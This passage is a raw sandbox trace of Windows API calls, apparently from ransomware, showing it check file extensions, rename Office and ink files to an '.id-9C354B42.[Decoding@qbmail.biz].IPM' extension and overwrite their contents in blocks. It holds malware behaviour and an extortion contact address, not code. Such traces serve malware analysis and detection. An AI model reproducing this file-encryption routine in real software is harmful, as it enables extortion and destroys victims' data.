(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.223] lstrlenW (lpString=".zip") returned 4 [0078.223] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.223] lstrlenW (lpString=".rar") returned 4 [0078.223] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.223] lstrlenW (lpString=".bz2") returned 4 [0078.223] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.223] lstrlenW (lpString=".7z") returned 3 [0078.223] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.223] lstrlenW (lpString=".dbf") returned 4 [0078.223] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.223] lstrlenW (lpString=".1cd") returned 4 [0078.223] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.223] lstrlenW (lpString=".jpg") returned 4 [0078.223] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.223] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.224] lstrlenW (lpString="auxbase.xml") returned 11 [0078.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.225] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1434) returned 1 [0078.225] CloseHandle (hObject=0x1f8) returned 1 [0078.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0078.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.225] lstrlenW (lpString=".doc") returned 4 [0078.225] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.225] lstrlenW (lpString=".docx") returned 5 [0078.225] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0078.226] lstrlenW (lpString=".pdf") returned 4 [0078.226] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.226] lstrlenW (lpString=".xls") returned 4 [0078.226] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.226] lstrlenW (lpString=".xlsx") returned 5 [0078.226] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0078.226] lstrlenW (lpString=".ppt") returned 4 [0078.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.226] lstrlenW (lpString=".zip") returned 4 [0078.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.226] lstrlenW (lpString=".rar") returned 4 [0078.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.226] lstrlenW (lpString=".bz2") returned 4 [0078.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.226] lstrlenW (lpString=".7z") returned 3 [0078.226] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.226] lstrlenW (lpString=".dbf") returned 4 [0078.226] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.226] lstrlenW (lpString=".1cd") returned 4 [0078.226] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.226] lstrlenW (lpString=".jpg") returned 4 [0078.226] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.226] lstrlenW (lpString=".doc") returned 4 [0078.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.227] lstrlenW (lpString=".docx") returned 5 [0078.227] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0078.227] lstrlenW (lpString=".pdf") returned 4 [0078.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.227] lstrlenW (lpString=".xls") returned 4 [0078.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.227] lstrlenW (lpString=".xlsx") returned 5 [0078.227] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0078.227] lstrlenW (lpString=".ppt") returned 4 [0078.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.227] lstrlenW (lpString=".zip") returned 4 [0078.227] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.227] lstrlenW (lpString=".rar") returned 4 [0078.227] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.227] lstrlenW (lpString=".bz2") returned 4 [0078.227] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.227] lstrlenW (lpString=".7z") returned 3 [0078.227] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.227] lstrlenW (lpString=".dbf") returned 4 [0078.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.228] lstrlenW (lpString=".1cd") returned 4 [0078.228] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0078.228] lstrlenW (lpString=".jpg") returned 4 [0078.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.228] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.228] lstrlenW (lpString="auxpad.xml") returned 10 [0078.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.229] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=212) returned 1 [0078.229] CloseHandle (hObject=0x1f8) returned 1 [0078.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0078.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0078.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0078.230] lstrlenW (lpString=".doc") returned 4 [0078.230] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.230] lstrlenW (lpString=".docx") returned 5 [0078.230] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0078.230] lstrlenW (lpString=".pdf") returned 4 [0078.230] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.230] lstrlenW (lpString=".xls") returned 4 [0078.230] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.230] lstrlenW (lpString=".xlsx") returned 5 [0078.230] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0078.230] lstrlenW (lpString=".ppt") returned 4 [0078.230] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0078.230] lstrlenW (lpString=".zip") returned 4 [0078.230] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.230] lstrlenW (lpString=".rar") returned 4 [0078.230] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.230] lstrlenW (lpString=".bz2") returned 4 [0078.230] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.230] lstrlenW (lpString=".7z") returned 3 [0078.230] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0078.230] lstrlenW (lpString=".dbf") returned 4 [0078.231] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.231] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=384) returned 1 [0078.231] CloseHandle (hObject=0x1f8) returned 1 [0078.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0078.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.234] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1118) returned 1 [0078.234] CloseHandle (hObject=0x1f8) returned 1 [0078.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0078.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.234] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=392) returned 1 [0078.234] CloseHandle (hObject=0x1f8) returned 1 [0078.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0078.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.236] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=727) returned 1 [0078.236] CloseHandle (hObject=0x1f8) returned 1 [0078.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0078.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.239] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3150) returned 1 [0078.239] CloseHandle (hObject=0x1f8) returned 1 [0078.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0078.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.240] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=247) returned 1 [0078.240] CloseHandle (hObject=0x1f8) returned 1 [0078.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0078.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.276] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0 [0079.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0 [0079.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0 [0079.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0 [0079.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0079.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0079.297] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fc6c | out: lpNewFilePointer=0x0) returned 1 [0079.297] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.297] ReadFile (in: hFile=0x1d8, lpBuffer=0x3750058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3750058*, lpNumberOfBytesRead=0x2c6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.303] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.303] ReadFile (in: hFile=0x1d8, lpBuffer=0x3790058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3790058*, lpNumberOfBytesRead=0x2c6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.313] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.314] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.314] ReadFile (in: hFile=0x1d8, lpBuffer=0x37d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c6fc38, lpOverlapped=0x0 | out: lpBuffer=0x37d0058*, lpNumberOfBytesRead=0x2c6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.897] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.897] WriteFile (in: hFile=0x1d8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2c6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0080.283] SetEndOfFile (hFile=0x1d8) returned 1 [0080.285] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f74008 [0080.442] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fc7c | out: lpNewFilePointer=0x0) returned 1 [0080.442] WriteFile (in: hFile=0x1d8, lpBuffer=0x3f74008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74008*, lpNumberOfBytesWritten=0x2c6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.445] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fc7c | out: lpNewFilePointer=0x0) returned 1 [0080.445] WriteFile (in: hFile=0x1d8, lpBuffer=0x3f74008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74008*, lpNumberOfBytesWritten=0x2c6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.450] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fc7c | out: lpNewFilePointer=0x0) returned 1 [0080.450] WriteFile (in: hFile=0x1d8, lpBuffer=0x3f74008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74008*, lpNumberOfBytesWritten=0x2c6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f74008 | out: hHeap=0x5d0000) returned 1 [0080.455] CloseHandle (hObject=0x1d8) returned 1 [0081.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0081.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.465] lstrlenW (lpString=".doc") returned 4 [0081.465] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0081.465] lstrlenW (lpString=".docx") returned 5 [0081.465] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0081.465] lstrlenW (lpString=".pdf") returned 4 [0081.465] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0081.465] lstrlenW (lpString=".xls") returned 4 [0081.465] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0081.465] lstrlenW (lpString=".xlsx") returned 5 [0081.465] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0081.465] lstrlenW (lpString=".ppt") returned 4 [0081.465] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0081.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.465] lstrlenW (lpString=".zip") returned 4 [0081.465] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0081.465] lstrlenW (lpString=".rar") returned 4 [0081.466] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0081.466] lstrlenW (lpString=".bz2") returned 4 [0081.466] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0081.466] lstrlenW (lpString=".7z") returned 3 [0081.466] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0081.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.466] lstrlenW (lpString=".dbf") returned 4 [0081.466] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0081.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.466] lstrlenW (lpString=".1cd") returned 4 [0081.466] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0081.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0081.466] lstrlenW (lpString=".jpg") returned 4 [0081.466] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0081.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 